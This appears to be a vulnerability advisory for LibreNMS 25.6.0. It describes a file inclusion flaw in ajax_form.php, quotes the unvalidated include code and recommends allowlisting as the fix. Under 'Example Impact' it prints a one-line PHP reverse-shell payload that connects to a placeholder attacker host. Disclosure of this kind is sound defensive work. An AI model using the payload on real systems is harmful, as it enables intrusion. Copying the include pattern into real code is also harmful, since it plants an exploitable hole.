LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

• Attacker must be authenticated
• Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812

Recommended Fix

• Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
• Avoid passing raw POST input into include_once.
• Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).